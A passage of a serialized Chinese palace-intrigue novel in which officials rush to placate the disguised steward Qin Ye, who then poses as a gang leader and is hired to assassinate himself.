“这孩子……”韩明远尴尬地对两位友人赔笑，额头上渗出细密的汗珠，“年少轻狂，多有得罪。” 司马辉和秦竹远虽然面上说着无妨，但眼中的不屑之色却难以掩饰。他们交换了一个意味深长的眼神，显然对韩峥的无礼举动十分不满。 “峥儿，退下！”韩明远沉声喝道，声音中带着压抑的怒气。 “父亲！姐姐太过分了！”韩峥却不管不顾，声音中带着歇斯底里的愤怒，“她竟然帮着外人欺负自家人！” “那个小太监秦烨，在雨竹面前羞辱我，姐姐不但不帮我，还要我面壁思过！”他的声音越说越大，脸涨得通红。 “秦烨？”司马辉和秦竹远对视一眼，眼中闪过一丝异色。房内的气氛突然变得凝重起来。 韩明远脸色骤变，腾地站起身来，椅子被撞倒在地发出刺耳的声响。 啪！ 一记响亮的耳光落在韩峥脸上，清脆的声音在寂静的书房内格外刺耳。 “混账东西！”韩明远怒不可遏，胸口剧烈起伏，“你可知道得罪了什么人？” “不就是个太监吗……”韩峥捂着脸，不服气地嘟囔，脸上浮现出五个鲜红的指印。 “蠢货！”韩明远又是一脚，踢得韩峥踉跄后退，“明日你必须备好荆条，向秦公公负荆请罪！” “父亲！”韩峥不敢相信自己的耳朵，瞪大了眼睛，“我堂堂韩家公子，怎能向一个太监……” “闭嘴！”韩明远厉声打断，声音中带着前所未有的严厉，“你姐姐在宫中不易，你不帮忙也就罢了，竟敢去得罪秦烨！” 就在这时，外面传来急促的脚步声，由远及近。 “老爷！大事不好了！”一个仆人慌慌张张跑进来，额头上的汗水顺着脸颊滑落，“皇上下旨，将安王府赐给了司礼总管秦烨！” 此言一出，屋内几人皆是倒吸一口凉气。空气仿佛凝固了一般。 安王府啊，那可是王府！虽说安赵已经就藩，但那等规格的府邸，岂是寻常人能住的？那里的一砖一瓦都价值连城，光是府中的园林就价值千金。 韩峥脸色煞白，双腿一软，差点跪倒在地。这才意识到自己惹了多大的祸。冷汗顺着他的额头不断滑落。 “逆子！”韩明远气得浑身发抖，指着韩峥的手都在颤抖，“你可知道秦烨是什么人？皇上亲自赐府，这是何等的恩宠！” “我……我……”韩峥说不出话来，嘴唇哆嗦着。 “还愣着做什么？还不赶紧准备荆条！”韩明远怒吼，声音在书房内回荡。 “可是父亲，我们家这个月的进宫名额已经用完了……”韩峥小声说道，声音细若蚊蝇。 “什么？”韩明远一愣，随即想明白了什么，脸色变得更加难看，“你……你是不是又去找那个雨竹了？” “你……你……气煞我也！”韩明远捂着胸口，踉跄着后退两步，差点背过气去。 “韩兄息怒。”秦竹远连忙上前搀扶，语气中带着几分幸灾乐祸，“年轻人嘛，难免冲动了些。” “秦兄有所不知。”韩明远苦笑，眼中满是无奈与愤怒，“这逆子，为了一个婢女，把进宫的机会都用光了。现在好了，连请罪都进不了宫！” 就在这时，又一个仆人匆匆跑来，脚步声急促而凌乱。 “老爷，外面传言，秦公公已经带人去看过安王府了，说是很满意，准备明日就搬进去住！” 韩明远闻言，只觉得天旋地转，眼前一黑，差点晕倒。冷汗浸透了他的衣衫。 这可如何是好？若不能及时向秦烨请罪，只怕女儿在宫中的处境更加艰难了。一想到女儿的未来，他就心如刀绞。 “逆子！”他指着韩峥，声音中充满绝望，“都是你闯的祸！” 韩峥低着头，一句话也说不出来。他终于意识到自己惹了多大的麻烦，可现在后悔已经来不及了。月光从窗外洒进来，照在他苍白的脸上。 司马辉和秦竹远对视一眼，都从对方眼中看到了幸灾乐祸的神色。烛光下，他们的表情显得格外阴森。 这韩阳家父子，一个不知轻重，一个纵容溺爱，这下可算是自作自受了。他们心中暗暗盘算，这韩阳家的好日子，怕是到头了。 消息传得飞快。一个太监，获赐王府，这在大周朝数百年历史中都是头一遭。 朝堂上的大臣们三三两两聚在一起，窃窃私语。有人面露惊诧，有人眼含羡慕，更多的是不解与疑虑。 “这秦公公到底是什么来头？”一名御史低声问道，眉头紧锁。 “嘘，小声点。”旁边的同僚扯了扯他的衣袖，“这位可不是普通的公公，听说连陛下都对他礼遇有加。” 韩峥站在人群中，额头不断渗出冷汗。他的手指无意识地绞着衣袖，脸色苍白如纸。万万没想到，自己不小心踩到了这尊大神的尾巴。回想起之前在街上的冲突，他只觉得后背发凉，双腿发软。 “铮儿。”韩明远拉过儿子的胳膊，神色凝重，“明日一早便去秦公公府上赔罪。带上厚礼，务必让秦公公消气。” “父亲……我……”韩峥张了张嘴，想说什么却又说不出口。 “糊涂东西！”韩明远压低声音呵斥，“还犹豫什么？乖乖照我的话去做！若是秦公公记恨在心，咱们全家都得遭殃！” 司马辉与秦竹远站在廊下，对视一眼，都从对方眼中看到了震惊。这位秦公公在陛下心中的分量，恐怕比他们想象的还要重得多。 “司马大人，此事……”秦竹远欲言又止。 “慎言。”司马辉轻轻摇头，“宫中事莫要妄加评论。” 夜色渐深，宫灯如豆。 工部主事钱有德正伏案批阅文书，烛光摇曳，映得他眼睛发酸。案头堆积如山的奏折让他头疼不已。 “大人！”一名属下推门而入，脚步匆忙，“陛下将安王府赐给了秦烨公公！” 钱有德手中的毛笔顿住，墨汁在纸上洇开一片。他的眼神逐渐变得阴沉。 第五十四章 不成器的东西 “那个不成器的东西！”他想到自己那个得罪了秦烨的侄子，恨不得打断他的腿，“赶紧准备一万九千两黄金，明日一早随我去赔罪。” “这……这么多？”属下倒吸一口凉气。 “多？”钱有德冷笑，“若是得罪了这位爷，咱们全家的性命都悬了！” 禁军都督府。 成国公端木正坐在书房中，手指不停地敲击着桌面。烛光映照下，他的脸色阴晴不定。 昨日朝堂上的弹劾，已经将他和秦烨之间的矛盾推向了不可调和的地步。若是让秦烨继续这么发展下去，迟早会对他不利。 “该死的赵马康！”端木正咬牙切齿，“若不是他怂恿，我也不会贸然出手。” 他揉了揉太阳穴，开始思考对策。直接动手肯定不行，太容易暴露。得找个替死鬼…… 突然，他想到了一个势力——玄铁会。 “来人！”端木正唤来心腹，“去打听打听玄铁会的事。” “大人是想……”心腹欲言又止。 “不该问的别问。”端木正眼中闪过一丝寒光，“只要把事办好就行。” 清晨，秦烨带着沈化林往安王府走去。 街道上行人稀少，晨露未干。远处传来零星的叫卖声，偶尔有马车从身边经过，车轮碾过青石板，发出哒哒的声响。 “老沈，这安王府到底是什么来头？”秦烨摇着羽扇问道，目光扫过街边的店铺，“该不会哪天安赵回来，我还得搬出去吧？” “公公多虑了。”沈化林笑道，“安赵早在数年前就已就藩，按律例是不可能再回京的。这王府向来是一代接一代住的，公公尽管住就是。” “是吗？”秦烨若有所思地点点头。 两人说话间，已经来到了安王府前。 安王府巍峨的大门矗立在汴城繁华之地，两尊石狮子威风凛凛地守护着门前。青石板铺就的台阶上落满了枯叶，随着微风轻轻打着旋儿。 秦烨站在府门前，目光扫过那精美的雕梁画栋。飞檐翘角间雕刻着栩栩如生的龙凤，檐下的彩绘虽已斑驳，却依稀可见昔日的辉煌。 “这规模，竟不比司马辉的府邸差多少。”秦烨轻声感叹。 沈化林在一旁笑着解释：“这可是王府，规制自然不同。安赵乃是先帝亲弟，地位尊崇，府邸自然也要气派些。” “听说安赵与先帝关系匪浅？”秦烨随口问道，手指轻轻抚过门柱上的雕花。 沈化林左右看了看，压低声音道：“确实如此。先帝临终前，甚至想将皇位传给安赵。” “哦？”秦烨眉头一挑，停下脚步，“此事我倒是第一次听说。” “听说这可是宫里的独家内幕。”沈化林凑近几分，“安赵与先帝情同手足，感情深厚。只是安赵生性淡泊，不喜朝政，一心只想游山玩水。最后先帝也只能作罢，让安赵就藩了。” 秦烨若有所思地点点头，推开吱呀作响的府门。扑面而来的尘土让他不禁皱眉，抬手挥散眼前的灰尘。 偌大的王府内落叶遍地，久无人居的痕迹清晰可见。庭院深深，曲径通幽，处处透着一股萧条破败之感。假山上爬满了青苔，池塘里的荷叶早已枯萎，连廊下的石凳都蒙上了厚厚的灰。 “得找人好好收拾一番。”秦烨环顾四周，脚步不停地向正堂走去。脚下的青石板发出沉闷的响声，惊起几只在屋檐下筑巢的麻雀。 这座王府以后就是他的根基所在，不仅要整修一新，更要布置得固若金汤。秦烨的目光在院墙上扫过，心中已有了几分计较。 正当秦烨在府中巡视时，府门外突然传来一阵急促的马蹄声，打破了府邸的宁静。 “驾！驾！”马夫的吆喝声此起彼伏。 两辆马车一前一后驶来，一辆古朴内敛，车帘上绣着淡雅的云纹；一辆金碧辉煌，车身镶嵌着精美的宝石，在阳光下闪闪发亮。 马车停稳，两个少年几乎同时跳下车来，尘土飞扬中显出几分狼狈。 一个是前些日子被秦烨教训过的钱欢，身着锦缎长袍，腰间挂着一块上好的白玉；另一个则是昨日刚得罪过秦烨的韩峥，一身绫罗绸缎，头戴金冠。 两人都是汴城有名的浪荡公子，平日里互相看不顺眼。此刻四目相对，空气中顿时弥漫着火药味。 钱欢冷哼一声，眼中闪过一丝不屑：“你来这里做什么？” “关你何事？”韩峥不甘示弱地瞪了回去。 两人身后，他们的长辈钱有德和韩明远也下了马车。钱有德身着官服，面容严肃；韩明远则一身便装，却也不失官宦气度。 韩明远看了眼钱有德，觉得面熟却一时想不起来。他知道对方必定也是来拜访秦烨的，心中不免有些焦急。额头上渗出细密的汗珠，他用袖子轻轻擦拭。 这可是秦烨获赐王府后的第一批访客，若能抢先一步，意义非凡。韩明远暗自盘算着，眼角的余光始终注意着钱有德的动向。 韩明远朝儿子使了个眼色，示意他赶紧进府。眼中闪过一丝急切，嘴唇微动，却没有发出声音。 韩峥会意，立刻大步流星地朝府门走去，锦袍翻飞，步伐匆忙中略显狼狈。 钱欢见状也不甘落后，紧随其后。两人的脚步声在石板上敲击出急促的节奏。 “让开！”韩峥低吼。 “你让开！”钱欢寸步不让。 两个少年你追我赶，几乎同时到达府门口。韩峥伸手想推开钱欢，却被对方一把拽住。两人的衣袖纠缠在一起，谁也不肯相让。 “滚开！”韩峥脸涨得通红。 “你滚开！”钱欢咬牙切齿。 两人顿时扭打在一起，像两只斗气的公鸡，你一拳我一脚，全然不顾形象。华贵的衣衫沾满尘土，发冠歪斜，狼狈不堪。 钱有德和韩明远看着这一幕，都不禁皱起眉头。但谁也没有出声制止，仿佛这场闹剧与己无关。 “敢问阁下是？”韩明远拱手问道，声音温和有礼。 “在下工部文案司主事钱有德。”钱有德微微颔首。 “哟，原来您就是赵大人啊，失敬失敬。”韩明远连忙还礼，“老夫民部韩明远。” 两位长辈寒暄客套，全然不顾两个少年还在门口扭打。他们的谈话声和少年们的争吵声交织在一起，在院落中回荡。 府内的秦烨听到外面的动静，不由得摇头一笑。这些人，倒是来得挺快。 “沈化林。”秦烨吩咐道，“去看看外面是什么情况。” “是。”沈化林领命而去，脚步轻快。 王府门前，喧闹声不断。 钱欢和韩峥两个年轻人扭打在一起，拳脚相加，引来不少路人驻足观望。钱欢一记直拳打在韩峥脸上，韩峥踉跄后退，嘴角渗出血丝。 “你敢打我？”韩峥擦了擦嘴角的血迹，眼中怒火翻涌。 钱欢冷笑一声，活动着手腕：“怎么？你爹是六品官，就以为我不敢动你？” “住手！”一声怒喝传来。 第五十五章 龙商商会 钱有德快步走来，脸上挂着尴尬的笑容，眼底却闪过一丝不耐。他一把拉住还想动手的钱欢，低声呵斥：“在秦公公府邸门前闹事，你是嫌命太长了？” 韩明远也匆匆赶到，拉住自己的儿子。看到韩峥脸上的伤，他眉头紧皱，但还是强压怒火，对钱有德挤出一丝笑容：“令郎年少气盛，这很正常。” “韩大人说的是，是我管教无方。”钱有德拱手致歉，目光扫过周围看热闹的人群，“既然都是来拜访秦公公的，不如一同进去？” “好啊。”韩明远点头应下。 王府大门缓缓打开，钱欢和韩峥第一个冲了进来。看到秦烨走来，两人立刻收起方才的嚣张气焰，换上谄媚的笑容。 “秦公公恕罪！”钱欢连连作揖，额头上渗出细密的汗珠，“昨日是小人有眼无珠，冒犯了您。” “是啊是啊，秦公公教训的是，我们知错了。”韩峥也赶紧附和，脸上的伤痕让他的表情显得有些扭曲。 秦烨淡淡扫了两人一眼，目光落在后面的钱有德和韩明远身上：“进来说话吧。” 正堂内，檀香袅袅。秦烨居中而坐，钱有德和韩明远分坐两侧。至于钱欢和韩峥，只能恭敬地站在一旁，大气都不敢出。 “秦公公，这是小小心意，还请笑纳。”钱有德示意钱欢将木匣呈上，脸上带着讨好的笑容。 木匣打开，里面整整齐齐码放着一沓银票。秦烨随手拿起查看，眉头微皱：“这比你们欠的多了不少。” “公公说笑了，这都是您应得的。”钱有德连忙说道，额头上渗出细密的汗珠。 秦烨将银票放回木匣，轻笑道：“你们欠我一万九千两黄金，这里却有三万两，是不是太多了？” “这多出来的就当是利息，还请公公务必收下。”钱有德态度诚恳，眼中闪过一丝紧张。 秦烨故作为难：“这样不太好吧……” “公公若不收，下官今晚怕是睡不着觉啊。”钱有德苦笑道，手指不自觉地绞在一起。 “既然如此，那我就暂且替你们保管，日后若是需要，随时可以来取。”秦烨笑着说道。 “多谢公公体谅。”钱有德心中暗笑，这种送出去的钱，谁还敢来要回去？ 秦烨的目光落在木匣中的另一物件上，那是一枚精美的玉牌，上面雕刻着繁复的花纹，中心处是一个古朴的“商”字。玉质温润，一看就知是上等的和田玉所制。 “这是？”秦烨拿起玉牌，在阳光下细细打量。 “回公公，这是龙商商会的令牌。”钱有德解释道，眼中闪过一丝得意，“下官在商会中略有薄面，若公公日后有什么差遣，尽管开口。” 秦烨点点头，将玉牌收起：“那就有劳钱大人了。” “能为公公效劳，是下官的荣幸。”钱有德连忙起身作揖。 这时，韩明远也让人抬上一个檀木箱子：“秦公公，这是犬子的一点心意，还请笑纳。” 箱子打开，里面是一套精美的文房四宝。砚台是端砚中的上品，墨锭是徽墨名家所制，笔是湖笔名家亲手制作，纸则是上等的宣纸。 “韩大人有心了。”秦烨点点头，“不过这礼太重了。” “公公喜欢就好。”韩明远松了口气，看来这份礼物还算合秦烨的心意。 秦烨转头看向钱欢和韩峥，目光如炬：“年轻人血气方刚可以理解，但要懂得分寸。若是再在汴城胡作非为，就算看在你们长辈的面子上，我也不会轻饶。” 钱欢和韩峥连忙跪下：“小人明白，一定痛改前非，重新做人！” “起来吧。”秦烨挥了挥手，“既然来了，就一起用茶。” 沈化林立刻命人上茶。上好的龙井，茶香四溢。 钱有德和韩明远相视一眼，都从对方眼中看到了一丝无奈。谁能想到，昨日还在街头横行霸道的钱欢和韩峥，今天竟如此乖顺？ 不过想想也是，秦烨可是能让皇上都另眼相看的人物，收拾两个浪荡公子，还不是手到擒来？ 茶过三巡，宾主尽欢。 临走时，钱有德特意叮嘱钱欢：“以后见了秦公公，要毕恭毕敬，不可再有丝毫怠慢。” “侄儿明白。”钱欢连连点头，脸上还带着方才被教训的余悸。 看着他们离去的背影，秦烨轻轻摇头。这汴城，还真是个有意思的地方。权贵们表面上客客气气，背地里却是勾心斗角，尔虞我诈。 沈化林走上前来：“公公，要查一查他们的底细吗？” “不必了。”秦烨轻抚手中的玉牌，“有些事，不急于一时。” 朝堂之上，文武百官分列两侧。上官瑾端坐龙椅，俯视殿内群臣。阳光透过殿顶的琉璃瓦，在地面上投下斑驳的光影。 “有本早奏，无事退朝！”太监尖细的嗓音在大殿内回荡。 “陛下，臣有一事相商。”韩明远迈步出列，他躬身行礼，语气恭敬而沉稳。 上官瑾手指轻轻敲击着龙椅扶手，凤眸微抬，示意他继续说下去。 “臣以为，秦烨虽为宫廷总管，但其才能不可限于内廷。若能让他出任翰林院人一职，或可为朝廷增添一员干才。”韩明远的声音在殿内回荡。 此言一出，殿内众臣神色各异。有人皱眉，有人冷笑，更有人交头接耳，窃窃私语。 端木正的脸色瞬间阴沉下来，眼中闪过一丝不易察觉的怒意。 上官瑾眸中闪过一丝喜色。让秦烨入朝为官，这正是她一直以来的心愿。只是碍于朝臣阻力，始终未能如愿。如今韩明远主动提出，倒是给了她一个绝佳的机会。 “爱卿此言有理。”上官瑾轻轻颔首，语气中带着几分赞许。 “陛下不可！”端木正突然上前一步，面带忧色，“秦烨不过是个宫廷总管，如何能担当朝廷重任？此事万万不可啊！” 他的声音中带着几分焦急，额头已经渗出细密的汗珠。作为仪部侍郎，他深知一旦让秦烨入朝为官，将会打破朝廷多年来的规矩。 司马辉站在一旁，目光闪烁。他轻抚胡须，缓缓开口：“臣倒觉得秦烨堪当此任。这些日子，他在内廷表现出色，处事稳妥。担任翰林院人一职，应是绰绰有余。” 殿内的气氛越发紧张。支持与反对的声音此起彼伏，朝臣们分成两派，各执一词。 上官瑾端坐龙椅之上，凤眸中闪过一丝不耐。她素手一挥，殿内顿时安静下来。 “传旨，即日起，秦烨加封翰林院人，掌管大内典籍。”她的声音不容置疑。 端木正还想说什么，却对上了上官瑾那双冰冷的凤眸。 “端木爱卿，可是对朕的决定有异议？”上官瑾的声音带着一丝寒意。 端木正额头渗出冷汗，连忙低头：“臣不敢。” 消息很快传到了承明殿。秦烨正在殿内等候，听闻上官瑾回宫，立刻迎了上去。 “恭喜陛下，贺喜陛下。”秦烨笑着拱手，眼中带着几分得意，“臣这就要成为朝廷命官，为皇上效力了。” 第五十六章 雨竹更大胆了 上官瑾白了他一眼：“少在这里得意。本宫倒是好奇，你是如何说动韩明远和司马辉的？” “陛下想知道？”秦烨眼中闪过一丝狡黠，嘴角勾起一抹意味深长的笑。 “算了，我可不想听这些破事。”上官瑾转过头去，她太了解这个男人了。每次用这种语气，准没什么好事。 秦烨轻笑：“其实也没什么，不过是答应了韩明远，多照顾一下他的女儿罢了。至于司马辉……”他故意拖长了声音。 “所以今晚你又要召韩玉仪侍寝？”上官瑾语气中带着一丝不满。这些日子，她每晚都要看那些羞人的画面，连觉都睡不好。眼下眼圈都有些发青了。 秦烨凑近她耳边，低声道：“为了大周江山，陛下辛苦了。”温热的气息拂过耳畔，惹得上官瑾一阵心烦意乱。 上官瑾轻哼一声，没有说话。她起身走到窗前，望着外面的月色出神。 夜幕降临，华灯初上。 韩玉仪早已在承明殿等候多时，这次侍寝来之不易，全靠父亲周旋。她暗暗发誓，一定要好好表现。 这些日子，她可没少下功夫。那些秘密渠道弄来的春宫秘籍，她都已经烂熟于心。只是实践起来，还是有些紧张。 朝思暮想的人踏着月色如期而至，小意温柔一番后，两人共赴巫山，一夜云雨，直到天边泛起鱼肚白。 韩玉仪满面春风地离开了，而上官瑾却是困得睁不开眼。这个秦烨，自从修炼了七星养气诀后，那方面的能力简直可怕。再这样下去，她怕是要累垮了。 忽然，一个大胆的想法浮现在脑海。或许下次可以传两个嫔妃一起侍寝，这样她就能早点休息了。 夕阳西下，宫墙内的一处偏僻庭院里，秦烨正倚在石桌旁翻阅着手中的卷宗。微风拂过，带来阵阵花香，却驱散不了他眉间的疲惫。 “秦公公？”一道轻柔的女声传来。 抬头望去，只见雨竹正站在庭院门口，手中捧着一个托盘，托盘上放着一壶茶和几样点心。她穿着淡青色的宫装，发髻简单挽起，清丽脱俗。 “进来吧。”秦烨放下手中的卷宗，揉了揉发酸的太阳穴。 雨竹莲步轻移，来到石桌旁，将托盘放下。她给秦烨倒了一杯茶，动作轻柔优雅：“公公看起来很累，喝杯茶歇歇吧。” 秦烨接过茶杯，茶香沁人心脾。他看着雨竹忙碌的身影，嘴角不自觉地扬起一抹笑意：“你倒是比以前大胆了。” 雨竹的动作顿了顿，脸颊微红：“我……我只是看公公辛苦，想着……”她的声音越来越小，像蚊子哼哼。 秦烨将她揽入怀中，手指轻轻划过她的脸颊：“怎么，我就不能来看看你？” “讨厌。”雨竹红着脸挣扎了一下，随即想起正事，“对了，有封信要交给你。” “信？”秦烨挑了挑眉。 雨竹从怀中取出一封信，递到秦烨手中。信封上写着“司马无畏”四个字，笔迹遒劲有力。 “司马兄的信？”秦烨接过信，眉头微皱。 “是的，是公子亲自送来的。”雨竹点头道，“他说很重要。” 秦烨展开信纸，目光快速扫过。看完后，他的表情变得深邃，手掌一握，内力涌动。那封信瞬间化作碎片，随风飘向不远处的池塘。 “这……这是什么功夫？”雨竹瞪大了眼睛，一脸惊讶。 “小把戏罢了。”秦烨淡淡一笑，“要不要让你见识点更厉害的？” 雨竹俏脸一红，连忙转过头去：“不……不用了。”顿了顿，又小声嘀咕道，“你一个太监，能有什么好玩的……” “太监？”秦烨眼中闪过一丝玩味，伸手捏了捏她的脸蛋，“你确定？” “难道不是吗？”雨竹撇了撇嘴，“这宫里戒备森严，怎么可能混进假太监。” 秦烨没有多说什么，只是笑着摇了摇头。他站起身，整理了一下衣袍：“天色不早了，你先回去吧。” 送走雨竹后，秦烨的表情变得凝重。他走到院中一棵老槐树下，轻声唤道：“沈化林。” “属下在。”一道黑影从树上无声落下，单膝跪地。 “换身衣服，随我出宫一趟。” “是。” 片刻后，一袭锦衣的秦烨走在汴城街头。他容貌俊朗，气质不凡，引得不少少女频频回首。沈化林换了一身普通衣裳，亦步亦趋地跟在身后。 “说说这个赵马玄。”秦烨开口问道。 “赵马玄此人不简单。”沈化林压低声音，“十五年前创立玄铁会，如今已是汴城第一大帮派。年少成名，十五岁就是兵器录第三高手。” “继续。” “此人重情重义，帮中兄弟无不以他马首是瞻。玄铁会不但开设学堂、救济贫民，暗地里还接些江湖暗杀的买卖。最重要的是……”沈化林顿了顿，“他和当今太子关系匪浅。” 秦烨眼中精光一闪：“哦？” “据说当年太子遇刺，就是赵马玄出手相救。从那以后，两人就成了莫逆之交。” “有意思。”秦烨若有所思地点点头。能让司马无畏亲自送信，这个赵马玄果然不简单。 走过几条街巷，前方出现一座气势恢宏的大院。高墙之上，“玄铁会”三个大字龙飞凤舞，门前两尊石狮子威风凛凛。十几个帮众守在门口，个个腰悬长刀，神情警惕。 “到了。”沈化林低声道。 玄铁会总舵巍峨耸立，门前石阶上黑衣帮众手持斧头，整齐列队。阳光下，斧头泛着冷冽的寒光，映衬着这些帮众凶悍的面容。 秦烨漫步而来，目光淡然地扫过这些帮众。他们的气势确实不错，只可惜在秦烨眼里，不过是些不入流的角色罢了。江湖中真正的高手，从不需要靠这些外在的威势来彰显实力。 “秦公公。”沈化林突然压低声音，靠近秦烨耳边，“有意思。” 秦烨脚步一顿：“怎么？” “刚才有一位高手从里面出去了，轻功了得。”沈化林眼中闪过一丝凝重，“那人的身法，至少也是一流高手的水准。” 秦烨眉头微挑，他倒是没注意到这一点。不过既然来都来了，管他是谁呢？江湖之大，藏龙卧虎，多一个高手少一个高手，又有什么分别？ 迈步向前，秦烨不紧不慢地走上石阶。两旁的帮众纷纷投来警惕的目光，手中的斧头也微微抬起，蓄势待发。空气中弥漫着一股剑拔弩张的气息。 秦烨神色如常，继续向前。这种小帮派的气势，对他这种见过大世面的人来说，实在算不了什么。江湖中真正的杀机，可不是靠这些外在的架势就能展现的。 一个身着黑衫的中年人快步迎了上来，脸上堆满谄媚的笑容：“这位公子光临寒舍，不知有何贵干？” 秦烨也不废话，直接从怀中取出令牌。中年人看到令牌的瞬间，脸色骤变，额头上瞬间渗出细密的汗珠。 “原来是大爷驾到！失敬失敬！”中年人连连弯腰，态度比刚才恭敬了十倍不止。他的声音都在微微发颤，显然这枚令牌的分量远超想象。 第五十七章 拜见玄铁会 “带路吧。”秦烨淡淡道。 “是是是，大爷请随我来。” 穿过庭院，处处可见练功的帮众。有人在练习刀法，有人在对练拳脚，还有人在搬运货物。看似杂乱无章，实则井然有序。这玄铁会的内部管理，倒是颇有章法。 来到后堂，中年人不敢再往前，只能将秦烨交给后堂的守卫。守卫看到令牌后，同样毕恭毕敬地将秦烨引入会客室。 “大爷请稍坐，我这就去通报。”守卫躬身退下。 秦烨点点头，在主位上坐下。沈化林则站在他身后，警惕地打量着四周。这间会客室装饰得颇为考究，檀木家具，名贵字画，处处彰显着主人的不凡身份。 “这玄铁会，倒是有点意思。”秦烨暗自思忖。表面上看是个江湖帮派，但从刚才那些人的反应来看，似乎还有些不为人知的秘密。一个普通的帮派，不可能让人看到令牌就如此惶恐。 玄铁会后堂的会客厅里，一片寂静。 檀香袅袅升起，在空气中划出一道若隐若现的轨迹。秦烨要沈化林在门外候着，独自在会客厅里等待，只见他站在墙边，目光被墙上悬挂的一排名剑所吸引。这些剑器无一不是精品，每一柄都散发着凌厉的杀气，仿佛在诉说着它们曾经的辉煌战绩。 尤其是那柄通体赤红的宝剑，剑身上隐约可见细密的纹路，如同流动的血脉。当他的手指轻轻触碰剑柄时，竟隐约听到了剑鸣之声，那声音清越悠长，似是在向他诉说着什么。 “不愧是兵器录排名前三的赵马玄，这收藏当真了得。”秦烨暗自感叹，指尖轻轻抚过剑身，感受着其中蕴含的凌厚剑意。 会客厅的陈设古朴典雅，几案上摆放着一套青花瓷茶具，茶香还未散尽。墙角的铜香炉中，香烟缭绕，给这个空间增添了几分神秘色彩。 就在他沉浸于欣赏这些利剑时，身后传来了脚步声。那脚步声沉稳有力，透着一股不怒自威的气势。 “阁下可是玄铁会帮主赵马玄？”一个浑厚的声音响起，声音中带着几分高高在上的味道。 秦烨眉头微挑，这声音听起来有几分熟悉。他没有立即转身，而是稍稍调整了自己的声线，同时暗中观察着对方在铜镜中的倒影。 “来者何人？”他故意压低嗓音，让声音显得更加沧桑。 “老夫禁军总戎，成国公端木正。”对方的语气中带着几分傲然，仿佛这个身份足以让天下人俯首。 秦烨心中冷笑，这端木正居然自己送上门来了。他装作不经意地问道：“不知成国公大驾光临，有何贵干？” 端木正踱步到会客厅中央，目光在那些名剑上扫过：“没啥大不了的，就是想请王赵帮主帮个小忙。” “哦？”秦烨继续把玩着墙上的剑，“什么忙？” “杀个人。”端木正的语气轻描淡写，仿佛在谈论今天的天气。 秦烨手上的动作微不可察地顿了一下，随即若无其事地问：“杀谁？” “司礼总管，新任翰林院人秦烨。”端木正说这话时，语气中带着一丝难以掩饰的恨意。 果然如此。秦烨在心中冷笑，这端木正还真是迫不及待地想要自己的命。他指尖轻轻一动，三枚银针已然握在手中。同时，他的脸上已经悄然易容，变成了另一副模样。 “秦烨？”他转过身，故作思索状，“这个人可不好对付啊。” 端木正的眼神闪烁了一下：“赵帮主的意思是……不能杀？” “能杀，当然能杀。”秦烨嘴角勾起一抹冷笑，“只是价钱……不便宜。” 说着，他伸出五根手指，在空中轻轻晃动。 端木正眼睛一亮：“五十两？这个好说！” “成国公说笑了。”秦烨摇头，语气中带着几分不屑，“区区五十两，也配让我亲自出手？” “那……五百两？”端木正加码道。 秦烨转身面对端木正，目光如刀：“成国公，你觉得一个能在皇宫中来去自如的人，值这么点银子？” 端木正的脸色变了变：“五千两，这总够了吧？秦烨不过是个太监……” “太监？”秦烨冷笑一声，“若他真这么好对付，成国公又何必找上我？” 端木正语塞，脸上闪过一丝尴尬。 “五万两，一分不能少。”秦烨淡淡道，“当然，成国公若觉得贵，大可另寻他人。” 端木正沉默片刻，眼中闪过一丝挣扎，最终咬牙道：“好！五万两就五万两！” 秦烨看着端木正吃瘪的样子，心中暗爽。这老狐狸，想要自己的命，可没那么容易。他故意踱步到窗边，看着外面的景色。 “不过……”他故意拖长了语调，“这银子，得先付一半。” “什么？”端木正瞪大了眼睛，显然没料到还有这一出。 “成国公，做生意总得有个规矩。”秦烨慢条斯理地说，“先付一半定金，事成之后再付另一半。这很合理，不是吗？” 端木正眉头紧皱，眼中闪过一丝犹豫。他来回踱步，显然在权衡利弊。 “两日之内，把银子送来。”秦烨继续说，“否则，这单生意就算了。” “好！”端木正终于点头，语气中带着几分不甘，“两日之内，我必定把银子送到。” 看着端木正愤愤离去的背影，秦烨嘴角勾起一抹玩味的笑容。这老狐狸，怕是做梦也想不到，他要杀的人就在眼前吧？ 秦烨笑着挥手送走了端木正，待对方身影消失在视线尽头，他立刻收敛了脸上的笑意。快速拔掉脸上的银针时，指尖还在微微发颤。 会客厅内光线昏暗，檀香袅袅升起。秦烨站在铜镜前，仔细端详着自己恢复原貌的面容。冒充赵马玄这种事，实在太过冒险。若是被人识破，后果不堪设想。 窗外传来一阵喧哗，远处隐约有脚步声由远及近。秦烨心头一紧，下意识地转身看向门口，手指不自觉地摸向腰间。 “秦总管。” 一个身材魁梧的男子大步走进会客厅，正是玄铁会帮主赵马玄。他身着一袭玄色劲装，腰间别着一柄开山大斧，举手投足间自有一股霸气。 秦烨暗自庆幸刚才及时恢复了本来面目，随即拱手笑道：“想必这位就是玄铁会帮主了？” “哈哈，久闻秦总管大名。”赵马玄爽朗大笑，声如洪钟，“您是无畏兄的兄弟，那就是自家人，不必如此客气。” “赵兄说的是。”秦烨笑着点头，目光不经意间扫过墙上悬挂的各式刀剑。 这些兵器造型各异，有的锋芒毕露，有的古朴沧桑，每一把看起来都不是凡品。尤其引人注目的是正中央那把赤红色的长剑，剑身寒光凛冽，隐隐有杀气流转。 赵马玄见秦烨对墙上兵器颇感兴趣，笑着解释道：“这些都是我这些年收集的名剑，每一把背后都有一段故事。” “哦？”秦烨来了兴致，“这些兵器的主人想必都是江湖高手了？” 第五十八章 兵器录和紫电剑 “正是。”赵马玄点头，眼中闪过一丝追忆，“有些甚至武功在我之上。只可惜……” “只可惜什么？” 赵马玄轻叹一声：“江湖险恶，英雄好汉也难免遭人暗算。这些刀剑，大多都是他们陨落之后流落出来的。” 说着，他取下那柄赤红色的长剑，剑身在昏暗的光线下依然熠熠生辉。 “秦兄可知这是何剑？” 秦烨摇头：“请赵兄赐教。” “此剑名为紫电剑，乃是兵器录排名第二的秦清月所用。”赵马玄神色凝重，“秦清月外号青虹剑魔，一身剑法出神入化，江湖上少有敌手。” “兵器录第二？”秦烨眼睛一亮，“那岂不是比赵兄还要厉害三分？” “不错。”赵马玄点头，“秦清月的剑法，我也只是略懂皮毛。可就在前几日，他的佩剑竟然流落江湖，想必是遭遇不测了。” 会客厅内一时陷入沉默，檀香缭绕间，似乎能嗅到一丝血腥气。 “能杀死如此高手，凶手究竟是谁？”秦烨打破沉默。 “无人知晓。”赵马玄摇头，眉头紧锁，“按理说击杀兵器录第二高手，足以名震江湖。可至今无人敢认这个功劳，倒是蹊跷。” 